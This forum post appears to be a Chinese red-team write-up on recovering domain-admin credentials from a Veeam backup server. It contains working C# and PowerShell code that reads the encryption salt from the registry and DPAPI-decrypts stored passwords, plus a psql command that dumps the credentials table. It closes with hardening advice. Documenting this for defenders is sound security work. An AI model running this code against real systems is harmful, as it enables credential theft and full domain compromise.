找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5287

积分

0

好友

725

主题
发表于 5 小时前 | 查看: 5| 回复: 0

在许多企业环境中,备份基础设施常被视为单纯的“支撑系统”,而非需要严防死守的核心资产。但在真实的红队演练中,备份服务器往往会拱手送出整个域中最具杀伤力的凭据。本文将复盘一条从 Veeam 起始、最终夺取完整域管理员权限的真实入侵路径,重点探讨备份安全的关键地位,以及防御者该如何加固自身环境。

初始访问:登录 Veeam 服务器

在一次红队演练中,我们通过利用 AD 配置错误,首先拿下了 Veeam Backup & Replication 服务器。这台主机上通常沉淀着:

  • 服务帐户凭据
  • 存储库访问入口
  • 备份作业配置
  • 加密的域级凭据

成功进入服务器后,我们下一步的重点是摸清 Veeam 如何存储和保护这些敏感信息。

编写自定义插件以解密存储的凭据

我们编写了一个自定义的 .NET 插件,与自研的 C2 服务端协同工作,能够解密 PostgreSQL 数据库中存储的密码。解密过程主要分三步:

  1. 从注册表中检索加密盐。
  2. 从数据库中提取加密凭据。
  3. 利用上一步得到的盐值与 Windows DPAPI 机制还原密码明文。

从注册表中检索加密盐

public static string GetVeeamData () 
{ 
    string keyPath = @"SOFTWARE\Veeam\Veeam Backup and Replication\Data" ; 
    using (RegistryKey baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine , RegistryView.Registry64 ) ) 
    using ( RegistryKey key = baseKey.OpenSubKey ( keyPath ) ) { 
        if ( key == null ) 
            return " 未找到键。 " ; 
        StringBuilder sb = new StringBuilder ( ) ; 
        foreach ( string valueName in key.GetValueNames ( )) { 
            object value = key.GetValue ( valueName ); 
            sb.AppendLine ( $ " { valueName }: {value}" ) ; 
        } 
        return sb.ToString (); 
    } 
} 

public static string printhello ( string name ) 
{ 
    string output = GetVeeamData ( ); 
    return output ; 
}

这段代码用于直接从 Windows 注册表中抽取 Veeam Backup & Replication 的配置数据。Veeam 把所有内部值都存放在这个注册表路径下:

SOFTWARE\Veeam\Veeam Backup and Replication\Data

函数的工作流程如下:

  1. 打开 Veeam 注册表路径GetVeeamData() 连接到 LocalMachine 注册表单元(64 位视图),并尝试打开 Veeam 的 Data 项。如果此项不存在,则返回“找不到项”。
  2. 枚举子键和值:它会遍历该路径下存储的每一个值,获取其名称和对应数据,并拼接成一个字符串,生成一份可供查阅的 Veeam 相关条目清单。
  3. 返回格式化文本:最终函数以文本形式返回所有收集到的注册表信息,方便记录或展示。

执行结果如下图所示,关键数据 EncryptionSalt 即为我们需要的加密盐。

Veeam 注册表数据提取结果,包含加密盐等关键信息

从数据库中提取加密凭证

拿到盐值后,紧接着需要从 PostgreSQL 数据库中捞出加密过的密码。下面这条 execute 命令,正是利用我们的自定义 C2 插件运行外部程序,并获取返回输出以供后续使用。

execute C:/Program Files/PostgreSQL/15/bin/psql.exe -d VeeamBackup -U postgres -c “SELECT user_name,password FROM credentials”

命令执行结果如下,password 字段中那一长串 Base64 编码,正是我们寻找的加密凭据。

从 PostgreSQL 数据库中查询到的加密凭据

利用盐值和 Windows DPAPI 解密密码

万事俱备,下面是执行解密的完整函数。它巧妙地将 C# 封装器与内嵌的 PowerShell 脚本结合起来,利用 Veeam 存放在注册表中的盐值与机器的 DPAPI 一同工作,最终还原明文密码。

public static string DecryptVeeamPasswordPowerhshell(string context, string saltBase) 
{ 
    using (var ps = PowerShell.Create()) 
    { 
        string script = @” 
            param($context, $saltbase) 
            Add-Type -AssemblyName System.Security 
            $salt = [System.Convert]::FromBase64String($saltbase) 
            $data = [System.Convert]::FromBase64String($context) 
            $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2) 
            foreach ($byte in $data) { $hex.AppendFormat(‘{0:x2}’, $byte) > $null } 
            $hex = $hex.ToString().Substring(74,$hex.Length-74) 
            $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) 
            for ($i = 0; $i -lt $hex.Length; $i += 2) { $data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } 
            $securedPassword = [System.Convert]::ToBase64String($data) 
            $data = [System.Convert]::FromBase64String($securedPassword) 
            $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine 
            $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local) 
            [System.Text.Encoding]::UTF8.GetString($raw) 
        “; 
        ps.AddScript(script).AddParameter(“context”, context).AddParameter(“saltbase”, saltBase).AddCommand(“Out-String”); 
        var results = ps.Invoke(); 
        if (ps.HadErrors) 
            throw new Exception(string.Join(“\n”, ps.Streams.Error.Select(e => e.ToString()))); 
        return string.Join(“”, results.Select(r => r.ToString())); 
    } 
}

这段代码的逻辑拆解开来是这样的:

  1. 在 C# 中嵌入 PowerShell 脚本DecryptVeeamPasswordPowerhshell 方法在 C# 运行时中创建 PowerShell 实例,以直接执行脚本并接收返回的字符串结果。
  2. 准备输入:向脚本传递两个核心参数:
    • context → 来自 Veeam 数据库的加密 DPAPI 数据块。
    • saltBase → 从注册表中提取的 Base64 编码盐值。
      这两者都会被先进行 Base64 解码,得到原始的字节数组。
  3. 提取 DPAPI 有效载荷:Veeam 把实际受 DPAPI 保护的密码数据包在一层更大的结构体内。脚本会:
    • 将解码后的字节转换为十六进制字符串。
    • 砍掉前 74 个十六进制字符(这些是 Veeam 自身的元数据)。
    • 将剩余的十六进制值重新转换为字节数组,得到真正的受保护数据块。
  4. Base64 重编码与规范化:由于 Veeam 又对 DPAPI 数据做了一层 Base64 处理,脚本需要先对清理后的有效载荷进行重编码,再解码一次,以将其标准化。
  5. DPAPI 解密:调用 [System.Security.Cryptography.ProtectedData]::Unprotect(...),结合机器的 DPAPI 主密钥和 Veeam 专有的盐值,执行最终的解密操作。
  6. 返回明文:解密后的字节数组被转换成 UTF-8 文本,通过 C# 函数以普通字符串的形式直接传回。

最终,密码被成功解密,明文显示为 Test123@

veeamdec工具解密成功,输出明文密码

密码顺利解出后,我们发现其中竟然包含着一组域管理员凭据,以及具备高特权的 vSphere 访问入口。单凭这两组凭据,整个环境就被完全撕开了口子,所有系统尽在掌握。

防御建议

这次入侵路径清晰地表明,备份系统绝非简单的支撑设施,而是足以决定整个域生死的高价值目标。Veeam 中一处暴露的凭据,配合广泛的 vSphere 访问权,就能直接导致企业的全面失陷。如果你正在负责企业安全,不妨回顾一下自己的环境,看看是否也存在类似的风险敞口。为此,建议采取以下措施:

  • 将 Veeam 及所有备份平台视为零级资产,给予最高级别的安全防护。
  • 全面清理备份作业中的域管理员账户,并将其替换为遵循最小权限原则的服务账户。
  • 定期审计并轮换所有存储在 Veeam 中的凭证。
  • 在条件允许的情况下,将备份环境与生产网络进行严格的物理或逻辑隔离。
  • 务必为 vSphere 访问启用多因素认证(MFA)。

保障备份的安全,本质上就是在保障企业核心业务的安全。




上一篇:拆解复杂SQL:手工人脉数据导出查询优化实战分析
下一篇:将Claude Code变为AI设计引擎:开源方案Open Design架构解析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-5-5 22:26 , Processed in 0.802998 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表